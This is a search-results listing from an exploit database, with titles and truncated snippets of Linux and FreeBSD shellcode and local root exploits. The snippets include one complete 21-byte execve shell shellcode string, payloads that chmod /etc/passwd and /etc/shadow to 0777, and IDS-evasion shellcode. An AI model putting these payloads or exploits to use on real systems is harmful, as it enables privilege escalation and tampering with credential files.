1612 matches found
linux/x86 sys_setuid(0) & sys_setgid(0) & execve ("/bin/sh") 39 bytes
Exploit for linux/x86 platform in category shellcode ===================================================================== linux/x86 syssetuid0 & syssetgid0 & execve "/bin/sh" 39 bytes ===================================================================== /...
change mode 0777 of "/etc/passwd" with sys_chmod syscall
change mode 0777 of "/etc/passwd" with syschmod syscall. Shellcode exploit for linux platform 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 //...
change mode 0777 of "/etc/shadow" with sys_chmod syscall
change mode 0777 of "/etc/shadow" with syschmod syscall. Shellcode exploit for linux platform / 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 //...
linux/x86 sys_chmod("/etc/passwd",599) shellcode 39 bytes
Exploit for linux/x86 platform in category shellcode ========================================================= linux/x86 syschmod"/etc/passwd",599 shellcode 39 bytes ========================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 ...
linux/x86-64 sethostname() & killall 33 bytes shellcode
Exploit for linux/x86-64 platform in category shellcode ======================================================= linux/x86-64 sethostname & killall shellcode 33 bytes ======================================================= Linux/x8664 sethostname & killall 33 bytes shellcode Date: 2010-04-26 Autho...
Linux/x86_64 - rebootPOWER_OFF shellcode 19 bytes
Linux/x8664 rebootPOWEROFF 19 bytes shellcode. Shellcode exploit for linx86-64 platform Linux/x8664 rebootPOWEROFF 19 bytes shellcode Date: 2010-04-25 Author: zbt Tested on: x8664 Debian GNU/Linux / ; rebootLINUXREBOOTMAGIC1, LINUXREBOOTMAGIC2, LINUXREBOOTCMDPOWEROFF section .text global start...
Linux Kernel 2.6.18 - 'move_pages()' Information Leak
/ sieve because the Linux kernel leaks like one, get it? Bug NOT discovered by Marcus Meissner of SuSE security This bug was discovered by Ramon de Carvalho Valle in September of 2009 The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS for the bug but had forgotten about it until...
kernel: x86-64: syscall-audit: 32/64 syscall hole
The auditsyscallentry function in the Linux kernel 2.6.28.7 and earlier on the x8664 platform does not properly handle 1 a 32-bit process making a 64-bit syscall or 2 a 64-bit process making a 32-bit syscall, which allows local users to bypass certain syscall audit configurations via crafted...
linux/x86 execve(""/bin/ash"" 0 0)
No description provided by source. / 21 byte execve"/bin/ash",0,0; shellcode for linux x86 by zasta zasta at darkircop.org / include unistd.h include stdio.h char shellcode = "\x31\xc9\xf7\xe1\x04\x0b\x52\x68" "\x2f\x61\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\xcd\x80"; void code asm" xor %ecx,%ecx...
2.6.18-20 2009 Local Root Exploit
Exploit for unknown platform in category local exploits ================================= 2.6.18-20 2009 Local Root Exploit ================================= Title: 2.6.18-20 2009 Local Root Exploit CVE-ID: OSVDB-ID: Author: DigitALL Published: 2009-12-23 Verified: no view source print? Author:...
Linux Kernel 2.6.32-rc1 (x86-64) - Register Leak
Linux Kernel 2.6.32-rc1 x86-64 - Register Leak / written by Ingo Molnar -- it's true because this comment says the exploit was written by him! / include include unsigned int r81; unsigned int r82; unsigned int r91; unsigned int r92; unsigned int r101; unsigned int r102; unsigned int r111; unsigne...
Linux Kernel 2.6.32-rc1 (x86-64) - Register Leak
/ written by Ingo Molnar -- it's true because this comment says the exploit was written by him! / include include unsigned int r81; unsigned int r82; unsigned int r91; unsigned int r92; unsigned int r101; unsigned int r102; unsigned int r111; unsigned int r112; unsigned int r121; unsigned int r12...
linux/x86 - Self-modifying shellcode for IDS evasion 64 bytes
linux/x86 Self-modifying shellcode for IDS evasion 64 bytes. Shellcode exploit for linx86 platform / | |/ / / |/ / / / | / / / / /|/ / / / / / / / / / / / / // / / / / // / // // / //|// //// //,//,/ xenomuta\x40phreaker\x2enet http://xenomuta.tuxfamily.org/ - Methylxantina 256mg...
FreeBSD <= 6.1 kqueue() NULL pointer Dereference Local Root Exploit
No description provided by source. FreeBSD = 6.1 suffers from classical check/use race condition on SMP systems in kevent syscall, leading to kernel mode NULL pointer dereference. It can be triggered by spawning two threads: 1st thread looping on open and close syscalls, and the 2nd thread loopin...
FreeBSD 6.1 - kqueue() Null Pointer Dereference Privilege Escalation
FreeBSD 6.1 - kqueue Null Pointer Dereference Privilege Escalation / FreeBSD include include include include include include include include include include include include int fd, kq; struct kevent kev, ke; struct timespec timeout; volatile int gotroot = 0; static void kernelcodevoid struct thre...
Linux Kernel 2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)
Exploit for linux platform in category local exploits ==================================================================== Linux Kernel 2.4/2.6 socksendpage ring0 Root Exploit simple ver ==================================================================== / 0x82-CVE-2009-2692 Linux kernel 2.4/2.6...
FreeBSD <= 6.1 kqueue() NULL pointer dereference
FreeBSD = 6.1 suffers from classical check/use race condition on SMP systems in kevent syscall, leading to kernel mode NULL pointer dereference. It can be triggered by spawning two threads: 1st thread looping on open and close syscalls, and the 2nd thread looping on kevent, trying to add possibly...
FreeBSD <= 6.1 kqueue() NULL pointer Dereference Local Root Exploit
Exploit for freebsd platform in category local exploits =================================================================== FreeBSD include include include include include include include include include include include include int fd, kq; struct kevent kev, ke; struct timespec timeout; volatile...
FreeBSD <= 6.1 kqueue() NULL pointer dereference
FreeBSD = 6.1 suffers from classical check/use race condition on SMP systems in kevent syscall, leading to kernel mode NULL pointer dereference. It can be triggered by spawning two threads: 1st thread looping on open and close syscalls, and the 2nd thread looping on kevent, trying to add possibly...
